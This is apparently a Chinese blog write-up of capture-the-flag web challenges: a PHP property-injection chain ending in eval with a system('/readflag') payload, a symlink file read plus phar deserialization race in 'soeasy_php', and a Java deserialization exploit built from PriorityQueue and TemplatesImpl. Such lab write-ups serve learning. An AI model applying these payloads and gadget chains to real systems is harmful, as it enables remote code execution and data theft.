WEB
上周末四场比赛,由于一开始MRCTF太坐牢了,一直在打DAS,周日调休满课(主要是在补作业)胖哈勃和网刃也都只看了一点,心累,忙里偷闲赶紧复现一下(
warmup-php
下载附件,有四个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php spl_autoload_register(function($class){ require("./class/".$class.".php"); }); highlight_file(__FILE__); error_reporting(0); $action = $_GET['action']; $properties = $_POST['properties']; class Action{
public function __construct($action,$properties){
$object=new $action(); foreach($properties as $name=>$value) $object->$name=$value; $object->run(); } }
new Action($action,$properties); ?>
|
通过传参实例化一个类,如果这个类当前不存在则通过spl_autoload_register
包含类文件,通过properties
给类里面的某些属性赋值,最后执行run方法
之后直接去审计class目录下的四个类,我们可以发现都没有构造方法(__construct
),所以只能从run
入手,然后在Base
类中可以找到我们特别想调用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function evaluateExpression($_expression_,$_data_=array()) { if(is_string($_expression_)) { extract($_data_); return eval('return '.$_expression_.';'); } else { $_data_[]=$this; return call_user_func_array($_expression_, $_data_); } }
|
那么现在就要找最终可以调用到evaluateExpression
方法的链子了
先去看ListView->run
,调用到了renderContent
,并通过renderSection
方法对$this->template
正则匹配操作,而renderSection
判断正则匹配到的renderxxx
是否存在方法,存在则直接调用该方法,之后就要去找可利用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function run() { echo "<".$this->tagName.">\n"; $this->renderContent(); echo "<".$this->tagName.">\n"; }
public function renderContent() { ob_start(); echo preg_replace_callback("/{(\w+)}/",array($this,'renderSection'),$this->template); ob_end_flush(); }
protected function renderSection($matches) { $method='render'.$matches[1]; if(method_exists($this,$method)) { $this->$method(); $html=ob_get_contents(); ob_clean(); return $html; } else return $matches[0]; }
|
可以在TeseView
中发现可以利用的方法,并且这个类还继承了ListView
类
这里又要回到前面,我们需要调用到evaluateExpression
,所以就直接去找可以调用到这个方法,找到renderTableRow
,只要$this->rowHtmlOptionsExpression
为我们的命令就可以直接执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function renderTableRow($row) // 这里我们使用第一个if语句调用,因为比较好利用 { $htmlOptions=array(); if($this->rowHtmlOptionsExpression!==null) { $data=$this->data[$row]; $options=$this->evaluateExpression($this->rowHtmlOptionsExpression,array('row'=>$row,'data'=>$data)); if(is_array($options)) $htmlOptions = $options; }
…… }
public function renderTableBody() { $data=$this->data; $n=count($data); echo "<tbody>\n";
if($n>0) { for($row=0;$row<$n;++$row) $this->renderTableRow($row); } …… }
|
poc:
1
| ListView#run->ListView#renderContent->LiseView#renderSection->renderTableBody->TestView#renderTableRow->Base#evaluateExpression
|
payload:
1 2 3 4 5 6
| get: action=TestView post: properties[rowHtmlOptionsExpression]=system('/readflag') &properties[template]={TableBody} &properties[data]=1
|
又又又又来复现了
soeasy_php
有元素被隐藏了,直接去edit.php
png
处存在任意文件读取漏洞
payload:
1 2
| post: png=../edit.php&flag=
|
然后查看uploads/head.png
就可以得到源码(不过这个是看别的师傅的wp审计源码发现的,但不知道别的师傅是不是这样发现的:
edit.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php ini_set("error_reporting","0"); class flag{ public function copyflag(){ exec("/copyflag"); echo "SFTQL"; } public function __destruct(){ $this->copyflag(); }
}
function filewrite($file,$data){ unlink($file); file_put_contents($file, $data); }
if(isset($_POST['png'])){ $filename = $_POST['png']; if(!preg_match("/:|phar|\/\/|php/im",$filename)){ $f = fopen($filename,"r"); $contents = fread($f, filesize($filename)); if(strpos($contents,"flag{") !== false){ filewrite($filename,"Don't give me flag!!!"); } }
if(isset($_POST['flag'])) { $flag = (string)$_POST['flag']; if ($flag == "Give me flag") { filewrite("/tmp/flag.txt", "Don't give me flag"); sleep(2); die("no no no !"); } else { filewrite("/tmp/flag.txt", $flag); } $head = "uploads/head.png"; unlink($head); if (symlink($filename, $head)) { echo "æåæ´æ¢å¤´å"; } else { unlink($filename); echo "éæ£å¸¸æ件ï¼å·²è¢«å é¤"; }; } }
|
upload.php
1 2 3 4 5 6 7 8 9 10 11
| <?php if (!isset($_FILES['file'])) { die("请ä¸ä¼ 头å"); }
$file = $_FILES['file']; $filename = md5("png".$file['name']).".png"; $path = "uploads/".$filename; if(move_uploaded_file($file['tmp_name'],$path)){ echo "ä¸ä¼ æåï¼ ".$path; };
|
重点还是要看edit.php
非预期:
简单审计一下:
1.第一个if语句ban掉了php协议和phar协议
2.第二个if语句通过symlink将我们传入的png与uplaod/head.png
链接,导致可以任意文件读取
3.flag类的copyflag方法将根目录下的flag传到/tmp/flag.txt
,并且使得www-data
所有
因为存在类,而我们又想调用这个类的copyflag方法,而这个类在__destruct
会自动调用,这里又没有明显的反序列化触发点,但又很多文件操作的函数,那就直接用phar
协议吧
由于第一个if直接会正则匹配到phar
,那就只能看后面了,本地测试之后发现可以利用unlink
,所以现在要使得symlink($filename, $head)
为flase就好了
phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class flag{ public function copyflag(){ exec("/copyflag"); echo "SFTQL"; } public function __destruct(){ $this->copyflag(); }
} $a = new flag(); $phar = new Phar("symlink.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering();
|
上传之后,记录下文件的路径:
1
| phar://uploads/b143915ffb6ca6b19dff97b6a93389f0.png
|
可以利用bp的intruder 条件竞争执行phar协议,用../edit.php
测试的时候虽然成功了,并且我们也可以发现/uploads/head.png
里面的内容也变成了edit.php
的内容,但是由于想要得到/tmp/flag.txt
内容的时候因为正则没有匹配到,直接判断文件里面存在flag,使得flag被覆盖了
所以我们可以构造..//../../../../../tmp/flag.txt
,//
用于绕过正则匹配
听说这不是预期解,等之后学习一下
warmup-java
复现来啦……
学java有一段时间了,现在来看看欸嘿……
下载jar包,可以先看pom.xml,发现没有其他另外的依赖,再去看看类
emmmmm,和刚做过的lab9,一模一样,直接用那个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package lab9;
import com.example.warmup.MyInvocationHandler; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lab1.Utils;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.util.*;
public class Exp { public static void setField(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception{
String command = "calc"; final Object templates = Gadgets.createTemplatesImpl(command);
MyInvocationHandler handler = new MyInvocationHandler(); setField(handler, "type", Templates.class); Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(1); priorityQueue.add(1);
setField(priorityQueue, "queue", new Object[]{templates, 1}); setField(priorityQueue, "comparator", proxy);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(priorityQueue); System.out.println(Utils.bytesTohexString(bos.toByteArray()));
} }
|
Reference
atao
雪殇姐姐